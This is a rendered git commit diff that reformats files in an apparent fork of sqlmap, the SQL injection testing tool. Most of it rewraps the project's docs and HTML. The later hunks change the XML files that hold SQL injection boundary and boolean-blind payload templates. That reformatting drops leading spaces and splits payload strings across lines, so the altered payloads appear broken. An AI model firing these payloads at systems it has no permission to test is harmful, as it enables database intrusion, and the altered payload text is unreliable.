Restructuring.

This commit is contained in:
arcad3luke 2023-03-18 09:22:16 -04:00
parent d595e44d15
commit ca5235b83d
455 changed files with 13458 additions and 8432 deletions

View File

@ -2,7 +2,10 @@
## Our Pledge ## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making
participation in our project and our community a harassment-free experience for everyone, regardless of age, body size,
disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race,
religion, or sexual identity and orientation.
## Our Standards ## Our Standards
@ -24,23 +27,35 @@ Examples of unacceptable behavior by participants include:
## Our Responsibilities ## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take
appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits,
issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any
contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Scope ## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the
project or its community. Examples of representing a project or community include using an official project e-mail
address, posting via an official social media account, or acting as an appointed representative at an online or offline
event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement ## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at
dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems
appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter
of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent
repercussions as determined by other members of the project's leadership.
## Attribution ## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available
at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org [homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/ [version]: http://contributor-covenant.org/version/1/4/

View File

@ -7,30 +7,53 @@ Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/s
### Guidelines ### Guidelines
* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. * Before you submit a bug report, search
both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue)
and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue
has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything
relevant.
* Make sure you can reproduce the bug with the latest development version of sqlmap. * Make sure you can reproduce the bug with the latest development version of sqlmap.
* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. * Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled
* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (
just a few lines) is ideal.
* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this
feature be useful?*
## Submitting code changes ## Submitting code changes
All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). All code contributions are greatly appreciated. First off, clone
the [Git repository](https://github.com/sqlmapproject/sqlmap), read
the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself
and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We
apologize for not commenting the code enough - you could take a chance to read it through
and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). Our preferred method of patch submission is via a
Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! Git [pull request](https://help.github.com/articles/using-pull-requests).
Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to
the sqlmap development. **You** can be the next!
### Guidelines ### Guidelines
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: In order to maintain consistency and readability throughout the code, we ask that you adhere to the following
instructions:
* Each patch should make one logical change. * Each patch should make one logical change.
* Avoid tabbing, use four blank spaces instead. * Avoid tabbing, use four blank spaces instead.
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org). * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org).
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. * Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those
* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. before doing any major restyling, but be sure that personal preferences not having a strong support
in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five
files changed on one pull request, as this dramatically increases the review time required to land (commit) any of
those pull requests.
* Style that is too different from main branch will be ''adapted'' by the developers side. * Style that is too different from main branch will be ''adapted'' by the developers side.
* Do not touch anything inside `thirdparty/` and `extra/` folders. * Do not touch anything inside `thirdparty/` and `extra/` folders.
### Licensing ### Licensing
By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source
code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the
unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to
relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to
specify special license conditions of your contributions, just say so when you send them.

View File

@ -11,6 +11,7 @@ assignees: ''
A clear and concise description of what the bug is. A clear and concise description of what the bug is.
**To Reproduce** **To Reproduce**
1. Run '...' 1. Run '...'
2. See error 2. See error
@ -21,17 +22,19 @@ A clear and concise description of what you expected to happen.
If applicable, add screenshots to help explain your problem. If applicable, add screenshots to help explain your problem.
**Running environment:** **Running environment:**
- sqlmap version [e.g. 1.3.5.93#dev]
- Installation method [e.g. git] - sqlmap version [e.g. 1.3.5.93#dev]
- Operating system: [e.g. Microsoft Windows 10] - Installation method [e.g. git]
- Python version [e.g. 3.5.2] - Operating system: [e.g. Microsoft Windows 10]
- Python version [e.g. 3.5.2]
**Target details:** **Target details:**
- DBMS [e.g. Microsoft SQL Server]
- SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind] - DBMS [e.g. Microsoft SQL Server]
- WAF/IPS [if any] - SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind]
- Relevant console output [if any] - WAF/IPS [if any]
- Exception traceback [if any] - Relevant console output [if any]
- Exception traceback [if any]
**Additional context** **Additional context**
Add any other context about the problem here. Add any other context about the problem here.

View File

@ -9,7 +9,7 @@ jobs:
runs-on: ${{ matrix.os }} runs-on: ${{ matrix.os }}
strategy: strategy:
matrix: matrix:
os: [ubuntu-latest, macos-latest, windows-latest] os: [ ubuntu-latest, macos-latest, windows-latest ]
python-version: [ '2.x', '3.11', 'pypy-2.7', 'pypy-3.7' ] python-version: [ '2.x', '3.11', 'pypy-2.7', 'pypy-3.7' ]
steps: steps:
- uses: actions/checkout@v2 - uses: actions/checkout@v2

View File

@ -2,25 +2,32 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection
flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the
ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from
the database, accessing the underlying file system, and executing commands on the operating system via out-of-band
connections.
Screenshots Screenshots
---- ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki. You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating
some of the features on the wiki.
Installation Installation
---- ----
You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest
zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform. sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any
platform.
Usage Usage
---- ----
@ -34,13 +41,15 @@ To get a list of all options and switches use:
python sqlmap.py -hh python sqlmap.py -hh
You can find a sample run [here](https://asciinema.org/a/46601). You can find a sample run [here](https://asciinema.org/a/46601).
To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches,
along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Links Links
---- ----
* Homepage: https://sqlmap.org * Homepage: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master)
or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki * User's manual: https://github.com/sqlmapproject/sqlmap/wiki

View File

@ -11,10 +11,12 @@
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet"> <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet"> <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]--> <!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head> </head>
<body> <body>
<style> <style>
#wrapper { width: 100%; } #wrapper { width: 100%; }
#page-wrapper { #page-wrapper {
@ -57,53 +59,54 @@
margin-top: 51px; margin-top: 51px;
} }
} }
</style> </style>
<div id="wrapper"> <div id="wrapper">
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0"> <nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
<div class="navbar-header"> <div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span> <span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span> <span class="icon-bar"></span>
<span class="icon-bar"></span> <span class="icon-bar"></span>
<span class="icon-bar"></span> <span class="icon-bar"></span>
</button> </button>
<a class="navbar-brand" href="index.html">sqlmap</a> <a class="navbar-brand" href="index.html">sqlmap</a>
</div> </div>
<div class="navbar-default sidebar" role="navigation"> <div class="navbar-default sidebar" role="navigation">
<div class="sidebar-nav navbar-collapse"> <div class="sidebar-nav navbar-collapse">
<ul class="nav" id="side-menu"> <ul class="nav" id="side-menu">
<li> <li>
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a> <a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
<ul class="nav nav-second-level"> <ul class="nav nav-second-level">
<li><a>Target</a></li> <li><a>Target</a></li>
<li><a>Request</a></li> <li><a>Request</a></li>
<li><a>Optimization</a></li> <li><a>Optimization</a></li>
<li><a>Injection</a></li> <li><a>Injection</a></li>
<li><a>Detection</a></li> <li><a>Detection</a></li>
<li><a>Techniques</a></li> <li><a>Techniques</a></li>
<li><a>Fingerprint</a></li> <li><a>Fingerprint</a></li>
<li><a>Enumeration</a></li> <li><a>Enumeration</a></li>
<li><a>Brute force</a></li> <li><a>Brute force</a></li>
<li><a>User-defined function injection</a></li> <li><a>User-defined function injection</a></li>
<li><a>File system access</a></li> <li><a>File system access</a></li>
<li><a>Operating system access</a></li> <li><a>Operating system access</a></li>
<li><a>Windows registry access</a></li> <li><a>Windows registry access</a></li>
<li><a>General</a></li> <li><a>General</a></li>
<li><a>Miscellaneous</a></li> <li><a>Miscellaneous</a></li>
</ul> </ul>
</li> </li>
</ul> </ul>
</div> </div>
</div> </div>
</nav> </nav>
<div id="page-wrapper"> <div id="page-wrapper">
<div class="row"> <div class="row">
<h4>DEMO</h4> <h4>DEMO</h4>
</div>
</div> </div>
</div>
</div> </div>
<script> <script>
/* /*
@ -144,8 +147,9 @@
} }
}) })
}); });
</script> </script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
</body> </body>
</html> </html>

View File

@ -604,7 +604,7 @@
<info type="Linux" distrib="Red Hat" release="7.3" codename="Valhalla"/> <info type="Linux" distrib="Red Hat" release="7.3" codename="Valhalla"/>
</regexp> </regexp>
<regexp value="Apache/1\.3\.27 \(Unix\) \(Red-Hat/Linux\)"> <regexp value="Apache/1\.3\.27 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1|7.2|7.3" codename="Seawolf|Enigma|Valhalla" updated="True"/> <info type="Linux" distrib="Red Hat" release="7.1|7.2|7.3" codename="Seawolf|Enigma|Valhalla" updated="True"/>
</regexp> </regexp>
@ -834,7 +834,8 @@
</regexp> </regexp>
<regexp value="Apache/2\.2\.22 \(Ubuntu\)"> <regexp value="Apache/2\.2\.22 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="12.04|12.10|13.04" codename="Precise Pangolin|Quantal Quetzal|Raring Ringtail"/> <info type="Linux" distrib="Ubuntu" release="12.04|12.10|13.04"
codename="Precise Pangolin|Quantal Quetzal|Raring Ringtail"/>
</regexp> </regexp>
<regexp value="Apache/2\.4\.6 \(Ubuntu\)"> <regexp value="Apache/2\.4\.6 \(Ubuntu\)">

View File

@ -120,7 +120,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>1</ptype> <ptype>1</ptype>
<prefix>)</prefix> <prefix>)</prefix>
<suffix> AND ([RANDNUM]=[RANDNUM]</suffix> <suffix>AND ([RANDNUM]=[RANDNUM]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -129,7 +129,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>1</ptype> <ptype>1</ptype>
<prefix>))</prefix> <prefix>))</prefix>
<suffix> AND (([RANDNUM]=[RANDNUM]</suffix> <suffix>AND (([RANDNUM]=[RANDNUM]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -138,7 +138,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>1</ptype> <ptype>1</ptype>
<prefix>)))</prefix> <prefix>)))</prefix>
<suffix> AND ((([RANDNUM]=[RANDNUM]</suffix> <suffix>AND ((([RANDNUM]=[RANDNUM]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -156,7 +156,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>2</ptype> <ptype>2</ptype>
<prefix>')</prefix> <prefix>')</prefix>
<suffix> AND ('[RANDSTR]'='[RANDSTR]</suffix> <suffix>AND ('[RANDSTR]'='[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -165,7 +165,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>2</ptype> <ptype>2</ptype>
<prefix>'))</prefix> <prefix>'))</prefix>
<suffix> AND (('[RANDSTR]'='[RANDSTR]</suffix> <suffix>AND (('[RANDSTR]'='[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -174,7 +174,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>2</ptype> <ptype>2</ptype>
<prefix>')))</prefix> <prefix>')))</prefix>
<suffix> AND ((('[RANDSTR]'='[RANDSTR]</suffix> <suffix>AND ((('[RANDSTR]'='[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -183,7 +183,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>2</ptype> <ptype>2</ptype>
<prefix>'</prefix> <prefix>'</prefix>
<suffix> AND '[RANDSTR]'='[RANDSTR]</suffix> <suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -192,7 +192,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>3</ptype> <ptype>3</ptype>
<prefix>')</prefix> <prefix>')</prefix>
<suffix> AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix> <suffix>AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -201,7 +201,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>3</ptype> <ptype>3</ptype>
<prefix>'))</prefix> <prefix>'))</prefix>
<suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix> <suffix>AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -210,7 +210,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>3</ptype> <ptype>3</ptype>
<prefix>')))</prefix> <prefix>')))</prefix>
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix> <suffix>AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -219,7 +219,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>3</ptype> <ptype>3</ptype>
<prefix>%'</prefix> <prefix>%'</prefix>
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix> <suffix>AND '[RANDSTR]%'='[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -228,7 +228,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>3</ptype> <ptype>3</ptype>
<prefix>'</prefix> <prefix>'</prefix>
<suffix> AND '[RANDSTR]' LIKE '[RANDSTR]</suffix> <suffix>AND '[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -237,7 +237,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>4</ptype> <ptype>4</ptype>
<prefix>")</prefix> <prefix>")</prefix>
<suffix> AND ("[RANDSTR]"="[RANDSTR]</suffix> <suffix>AND ("[RANDSTR]"="[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -246,7 +246,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>4</ptype> <ptype>4</ptype>
<prefix>"))</prefix> <prefix>"))</prefix>
<suffix> AND (("[RANDSTR]"="[RANDSTR]</suffix> <suffix>AND (("[RANDSTR]"="[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -255,7 +255,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>4</ptype> <ptype>4</ptype>
<prefix>")))</prefix> <prefix>")))</prefix>
<suffix> AND ((("[RANDSTR]"="[RANDSTR]</suffix> <suffix>AND ((("[RANDSTR]"="[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -264,7 +264,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>4</ptype> <ptype>4</ptype>
<prefix>"</prefix> <prefix>"</prefix>
<suffix> AND "[RANDSTR]"="[RANDSTR]</suffix> <suffix>AND "[RANDSTR]"="[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -273,7 +273,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>5</ptype> <ptype>5</ptype>
<prefix>")</prefix> <prefix>")</prefix>
<suffix> AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix> <suffix>AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -282,7 +282,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>5</ptype> <ptype>5</ptype>
<prefix>"))</prefix> <prefix>"))</prefix>
<suffix> AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix> <suffix>AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -291,7 +291,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>5</ptype> <ptype>5</ptype>
<prefix>")))</prefix> <prefix>")))</prefix>
<suffix> AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix> <suffix>AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -300,7 +300,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>5</ptype> <ptype>5</ptype>
<prefix>"</prefix> <prefix>"</prefix>
<suffix> AND "[RANDSTR]" LIKE "[RANDSTR]</suffix> <suffix>AND "[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -328,7 +328,7 @@ Formats:
<where>1,2</where> <where>1,2</where>
<ptype>2</ptype> <ptype>2</ptype>
<prefix>'</prefix> <prefix>'</prefix>
<suffix> OR '[RANDSTR1]'='[RANDSTR2]</suffix> <suffix>OR '[RANDSTR1]'='[RANDSTR2]</suffix>
</boundary> </boundary>
<!-- End of WHERE/HAVING clause boundaries --> <!-- End of WHERE/HAVING clause boundaries -->
@ -383,7 +383,7 @@ Formats:
<clause>9</clause> <clause>9</clause>
<where>1,2</where> <where>1,2</where>
<ptype>1</ptype> <ptype>1</ptype>
<prefix> WHERE [RANDNUM]=[RANDNUM]</prefix> <prefix>WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix> <suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary> </boundary>
@ -532,7 +532,7 @@ Formats:
<where>1</where> <where>1</where>
<ptype>6</ptype> <ptype>6</ptype>
<prefix>`=`[ORIGINAL]`</prefix> <prefix>`=`[ORIGINAL]`</prefix>
<suffix> AND `[ORIGINAL]`=`[ORIGINAL]</suffix> <suffix>AND `[ORIGINAL]`=`[ORIGINAL]</suffix>
</boundary> </boundary>
<boundary> <boundary>
@ -541,7 +541,7 @@ Formats:
<where>1</where> <where>1</where>
<ptype>6</ptype> <ptype>6</ptype>
<prefix>"="[ORIGINAL]"</prefix> <prefix>"="[ORIGINAL]"</prefix>
<suffix> AND "[ORIGINAL]"="[ORIGINAL]</suffix> <suffix>AND "[ORIGINAL]"="[ORIGINAL]</suffix>
</boundary> </boundary>
<boundary> <boundary>

View File

@ -210,13 +210,19 @@ Tag: <test>
<risk>1</risk> <risk>1</risk>
<clause>1,8,9</clause> <clause>1,8,9</clause>
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector> <vector>AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT
[RANDNUM2]) END))
</vector>
<request> <request>
<payload>AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload> <payload>AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION
SELECT [RANDNUM2]) END))
</payload>
<comment>[GENERIC_SQL_COMMENT]</comment> <comment>[GENERIC_SQL_COMMENT]</comment>
</request> </request>
<response> <response>
<comparison>AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison> <comparison>AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1]
UNION SELECT [RANDNUM2]) END))
</comparison>
</response> </response>
</test> </test>
@ -227,13 +233,19 @@ Tag: <test>
<risk>3</risk> <risk>3</risk>
<clause>1,9</clause> <clause>1,9</clause>
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector> <vector>OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT
[RANDNUM2]) END))
</vector>
<request> <request>
